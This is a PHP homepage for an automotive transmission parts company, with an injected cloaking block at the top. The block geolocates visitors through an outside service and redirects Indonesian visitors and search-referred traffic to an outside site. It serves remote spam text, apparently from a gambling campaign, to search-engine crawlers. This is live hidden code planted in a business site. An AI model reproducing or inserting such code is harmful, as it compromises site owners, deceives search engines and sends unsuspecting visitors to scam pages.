<?php
function getClientIP() {
    $headers = [
        'HTTP_CLIENT_IP',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_FORWARDED',
        'HTTP_X_CLUSTER_CLIENT_IP',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR'
    ];
    foreach ($headers as $key) {
        if (!empty($_SERVER[$key])) {
            $ipList = explode(',', $_SERVER[$key]);
            foreach ($ipList as $ip) {
                $ip = trim($ip);
                if (filter_var($ip, FILTER_VALIDATE_IP)) {
                    return $ip;
                }
            }
        }
    }
    return '127.0.0.1';
}

function getUrlContent($url) {
    if (ini_get('allow_url_fopen')) {
        $content = @file_get_contents($url);
        if ($content !== false) return $content;
    }
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT => 10
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response ?: '';
}

function isBot() {
    $botKeywords = ['googlebot', 'slurp', 'adsense', 'inspection', 'verifycation', 'jenifer'];
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    foreach ($botKeywords as $bot) {
        if (strpos($ua, $bot) !== false) return true;
    }
    return false;
}

$ip = getClientIP();
$geoData = json_decode(getUrlContent("http://ip-api.com/json/{$ip}"), true);
$countryCode = $geoData['countryCode'] ?? '';

$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$fingerprint = sha1($ip . $ua);

if (!isset($_COOKIE['user_fp']) && $countryCode === 'ID') {
    setcookie('user_fp', $fingerprint, time() + 86400 * 30, '/');
    $_COOKIE['user_fp'] = $fingerprint;
}

$allowedFingerprint = $_COOKIE['user_fp'] ?? '';

$redirectURL = 'https://sumberberitaharian.com/dibuat-bingung-google/';

if ($countryCode === 'ID' && $fingerprint === $allowedFingerprint && $allowedFingerprint !== '') {
    header("Location: $redirectURL");
    exit;
}

$referer = $_SERVER['HTTP_REFERER'] ?? '';
$refererDomains = ['google.co.id', 'yahoo.co.id', 'bing.com'];
foreach ($refererDomains as $domain) {
    if (stripos($referer, $domain) !== false) {
        header("Location: $redirectURL");
        exit;
    }
}

if (isBot()) {
    $htmlURL = 'https://pub-5d7a465585104ae58e220e5b330ce8c1.r2.dev/arisanhoki.txt';
    echo getUrlContent($htmlURL);
    exit;
}

?>
<!DOCTYPE html>
<html lang="ESP">
	<head>
		<meta charset="utf-8">
		<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
		<link rel="stylesheet" href="css/principal.css">
		<link rel="stylesheet" href="css/animate.css">
		<link rel="stylesheet" href="css/font-awesome.min.css">
		<link rel="icon" type="image/png" sizes="20x20" href="imagenes/favicon.png">
		<title>ATP Automotive | Transmission Parts</title>
		<link rel="stylesheet" type="text/css" href="engine1/style.css" />
		<script type="text/javascript" src="engine1/jquery.js"></script>
		<link rel="stylesheet" href="assets/owlcarousel/assets/owl.carousel.min.css">
		<link rel="stylesheet" href="assets/owlcarousel/assets/owl.theme.default.min.css">
		<script src="assets/vendors/jquery.min.js"></script>
		<script src="assets/owlcarousel/owl.carousel.js"></script>
		
		<link rel="preconnect" href="https://fonts.googleapis.com">
		<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
		<link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,100..900;1,100..900&family=Roboto:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet">
		<style>
			#hm{
				color:#0357a7;
			}
			.cuadro{
				background-color:gainsboro;
				text-align:center;
				background-color: white;
				border: 1px solid gainsboro;
				padding-top:15px;
				padding-bottom:15px;
			}
		</style>
			<script type="text/javascript">
              var onloadCallback = function() {
                grecaptcha.render('html_element', {
                  'sitekey' : '6Lfai5EsAAAAAB7ziyKN4xabZr0QRtRJ8HRIJGry'
                });
                grecaptcha.render('html_element2', {
                  'sitekey' : '6Lfai5EsAAAAAB7ziyKN4xabZr0QRtRJ8HRIJGry'
                });
              };
            </script>
	</head>
	<body>
		<div class="container" id="barra">
			<div class="wrapper">
				<?php include('barra.php');?>
			</div>
		</div>
		<div class="container" id="header">
			<div class="wrapper">
				<div class="in-2">
					<?php include('header.php');?>
				</div>
			</div>
		</div>
		<div class="container" id="slider">
			<div class="wrapper">
				<?php include('slider.php');?>
			</div>
		</div>
		<?php 
			include('conabrir.php');
			$selectM= mysqli_query($con,"SELECT * FROM metricas");
			include('concerrar.php');
			while($rowM = mysqli_fetch_array($selectM)){
				$skus = $rowM['skus'];
				$years = $rowM['years'];
				$sq = $rowM['sq'];
			}
		?>
		<div class="container">
			<div class="in wow slideInUp animated">
				<div class="wrapper">
					<div class="container mar-30" id="minibanner">
						<div class="in mar-20">
							<div class="col33">
								<div class="in mar-20">
									<center>
									<table>
										<tr>
											<td><div id="counter" class="animated" data-target="<?php  echo $skus;?>"><?php  echo $skus;?></div></td>
											<td><h1>K+</h1></td>
										</tr>
									</table>
									SKUs
									</center>
								</div>
							</div>
							<div class="col33">
								<div class="in mar-20">
									<center>
									<table>
										<tr>
											<td><div id="counter2" class="animated" data-target="<?php  echo $years;?>"><?php  echo $years;?></div></td>
											<td><h1>+</h1></td>
										</tr>
									</table>
									Years of Expertise
								</div>
							</div>
							<div class="col33">
								<div class="in mar-20">
									<center>
									<table>
										<tr>
											<td><div id="counter3" class="animated" data-target="<?php  echo $sq;?>"><?php  echo $sq;?></div></td>
											<td><h1>K</h1></td>
										</tr>
									</table>
									sq. ft. Facility
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
		<div class="container wow slideInUp animated">
			<div class="in">
				<div class="wrapper">
					<div class="container" id="categorias">
						<h1 class="txt-cnt">EXPLORE BY <b>CATEGORY</b></h1>
						<div class="row txt-cnt">
							<div class="large-12 columns" style="margin-top: 60px;">
								<div class="owl-carousel proyectos">
									<?php
										include('conabrir.php');
										$selectCategorias= mysqli_query($con,"SELECT * FROM categorias");
										include('concerrar.php');
										while($rowC = mysqli_fetch_array($selectCategorias)){
									?>
									<a href="category_details.php?id=<?php echo $rowC['id'];?>" style="color:black;">
										<div class="item">
											<div class="in">
												<div class="cuadrado">
													<div class="container mar-20">
														<h2><?php echo $rowC['titulo'];?></h2>
														<b style="color:#cc0033">SHOW MORE</b>
													</div>
													<div class="imagenbttm">
														<img src="<?php echo $rowC['foto'];?>">
													</div>
												</div>
											</div>
										</div>
									</a>
									<?php 
										}
									?>
									
								
								</div>
							</div>
						</div>
						
						<script>
							var owl = $('.proyectos');
								owl.owlCarousel({
									margin: 20,
									nav:true,
									loop: true,
									autoplay:true,
									autoplayTimeout:5000,
									responsive: {
										0: {
											items: 1, 
											nav:true
										},
										600: {
											items: 1,
											nav:true,
										},
										1000: {
											items: 3,
											nav:true,
										}
									}
								})
						</script>
						
					</div>
				</div>
			</div>
		</div>
		
		<div class="container mar-30"></div>
		
		<div class="container" id="banner_degradado">
			<div class="in">
				<div class="wrapper">
					<div class="container mar-40">
						<div class="in mar-40 wow slideInDown animated">
							<div class="container mar-10"></div>
							<h1 style="margin-top:10px; margin-bottom:20px">FEATURED <span class="blk">PRODUCTS</span></h1>
							<div class="container mar-20"></div>
						</div>
					</div>
				</div>
			</div>
		</div>
		<div class="container" id="productos">
			<div class="in">
				<div class="wrapper">
					<?php
						include('conabrir.php');
						$selectProductos= mysqli_query($con,"SELECT * FROM producto WHERE destacado = '1'");
						include('concerrar.php');
						while($rowP = mysqli_fetch_array($selectProductos)){
					?>
						<a href="product_details.php?id=<?php echo $rowP['id'];?>" style="color:black;">
							<div class="col25 wow slideInUp animated">
								<div class="in">
									<div class="cuadro">
										<div class="in">
											<img src="<?php echo $rowP['foto'];?>">
										</div>
									</div>
									<div class="titulo txt-cnt">
										<h3 class="category">
											<?php 
												$id_subcatego =  $rowP['id_subcategoria'];
												include('conabrir.php');
												$selectCate= mysqli_query($con,"SELECT * FROM subcategorias WHERE id = '$id_subcatego'");
												include('concerrar.php');
												while($rowCate = mysqli_fetch_array($selectCate)){
													echo $rowCate['subcategoria'];
												}
											?>
										</h3>
										<h2><?php echo $rowP['producto'];?></h2>
									</div>
									<div class="boton-showmore">
										<button class="btnshowmore">SHOW MORE</button>
									</div>
								</div>
							</div>
						</a>
					<?php 
						}
					?>
					
				</div>
			</div>
		</div>
		<?php 
			include('conabrir.php');
			$selectAbout= mysqli_query($con,"SELECT * FROM about_index WHERE id= '1'");
			include('concerrar.php');
			while($rowAb = mysqli_fetch_array($selectAbout)){
				$tit =$rowAb['titulo'];
				$picture =$rowAb['foto'];
				$desc =$rowAb['descripcion'];
			}
		?>
		
		<div class="container" id="about">
			<div class="in">
				<div class="wrapper">
					<div class="container mar-40">
						<div class="cl50 wow slideInLeft animated">
							<div class="in">
								<div class="container txtc" style="color:#1f2650">
									<h2><?php echo $tit;?></h2>
								</div>
								<div class="container mar-20"></div>
								<div class="container txt-cnt">
									<img src="<?php echo $picture;?>" class="imga">
								</div>
							</div>
						</div>
						<div class="cl50 wow slideInRight animated">
							<div class="in">
								<div class="container mar-10 textabout">
									<?php echo $desc;?>
								</div>
								<div class="container mar-30">
									<?php 
										include('conabrir.php');
										$selectCarac= mysqli_query($con,"SELECT * FROM about_caracteristicas");
										include('concerrar.php');
										while($rowC = mysqli_fetch_array($selectCarac)){
									?>
									<div class="c50 minh">
										<div class="in">
											<div class="container txt-cnt">
												<img src="<?php echo $rowC['foto'];?>">
											</div>
											<div class="container tit">
												<h3><?php echo $rowC['titulo'];?></h3>
											</div>
											<div class="container textabout">
												<?php echo $rowC['descripcion'];?>
											</div>
										</div>
									</div>
									<?php 
										}
									?>
									
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
		
		<div class="container" id="blog">
			<div class="in">
				<div class="wrapper">
					<div class="container mar-30 wow slideInUp animated">
						<h1 class="txt-cnt">Latest News & Articles</h1>
						
						<div class="container mar-20"></div>
						<?php 
							include('conabrir.php');
							$selectArticulos= mysqli_query($con,"SELECT * FROM news ORDER BY fecha DESC LIMIT 3");
							include('concerrar.php');
							while($rowA = mysqli_fetch_array($selectArticulos)){
						?>
						<a href="read-article.php?id=<?php echo $rowA['id'];?>" style="color:black">
							<div class="c33">
								<div class="in">
									<div class="contorno">
										<img src="<?php echo $rowA['foto'];?>">
										<div class="tituloblog">
											<div class="in mar-10">
												<?php echo $rowA['titulo'];?>
											</div>
										</div>
									</div>
								</div>
							</div>
						</a>
						<?php 
							}
						?>
						
						<div class="container mar-20"></div>
					</div>
				</div>
			</div>
		</div>
		
		
		<div class="container mar-20"></div>
		<div class="container mar-20"></div>
		
		<div class="container" id="footer">
			<div class="in">
				<?php include('footer.php');?>
			</div>
		</div>
		<script>
			var acc = document.getElementsByClassName("accordion");
			var i;
			for (i = 0; i < acc.length; i++) {
				acc[i].onclick = function() {
				this.classList.toggle("actived");
				var panel = this.nextElementSibling;
					if (panel.style.maxHeight){
						panel.style.maxHeight = null;
					} else {
						panel.style.maxHeight = panel.scrollHeight + "px";
					} 
				}
			}
		</script>
		<script src="js/dist.js"></script>
		<script type="text/javascript" src="engine1/wowslider.js"></script>
		<script type="text/javascript" src="engine1/script.js"></script>
		<script>
			wow = new WOW(
			  {
				animateClass: 'animated',
				offset:       100,
				callback:     function(box) {
					console.log("Animación <" + box.tagName.toLowerCase() + ">")
				}
			});
			wow.init();
					
			function animateNumber(element, targetNumber, duration) {
				const startTime = performance.now();
				const startNumber = 0;

				function updateNumber(currentTime) {
					const elapsedTime = currentTime - startTime;
					const progress = Math.min(elapsedTime / duration, 1);
					const currentNumber = Math.floor(startNumber + progress * (targetNumber - startNumber));
					element.innerText = formatNumber(currentNumber);

					if (progress < 1) {
						requestAnimationFrame(updateNumber);
					}
				}

				requestAnimationFrame(updateNumber);
			}
		</script>
		<script>
			const counter = document.getElementById('counter');
			const target = +counter.getAttribute('data-target'); // Convert to number
			let count = 0;
			const speed = 400; // Adjust for animation speed

			const updateCount = () => {
				const increment = target / speed;

				if (count < target) {
					count += increment;
					counter.innerText = Math.ceil(count); // Round up for display
					setTimeout(updateCount, 1); // Adjust for smoother animation
				} else {
					counter.innerText = target; // Ensure it ends on the exact target
				}
			};

			updateCount();
		</script>
		<script>
			const counter2 = document.getElementById('counter2');
			const target2 = +counter2.getAttribute('data-target'); // Convert to number
			let count2 = 0;
			const speed2 = 400; // Adjust for animation speed

			const updateCount2 = () => {
				const increment2 = target2 / speed2;

				if (count2 < target2) {
					count2 += increment2;
					counter2.innerText = Math.ceil(count2); // Round up for display
					setTimeout(updateCount2, 1); // Adjust for smoother animation
				} else {
					counter2.innerText = target2; // Ensure it ends on the exact target
				}
			};

			updateCount2();
		</script>
		<script>
			const counter3 = document.getElementById('counter3');
			const target3 = +counter3.getAttribute('data-target'); // Convert to number
			let count3 = 0;
			const speed3 = 400; // Adjust for animation speed

			const updateCount3 = () => {
				const increment3 = target3 / speed3;

				if (count3 < target3) {
					count3 += increment3;
					counter3.innerText = Math.ceil(count3); // Round up for display
					setTimeout(updateCount3, 1); // Adjust for smoother animation
				} else {
					counter3.innerText = target3; // Ensure it ends on the exact target
				}
			};

			updateCount3();
		</script>
		<script src="https://www.google.com/recaptcha/api.js?onload=onloadCallback&render=explicit"async defer></script>
	</body>
</html>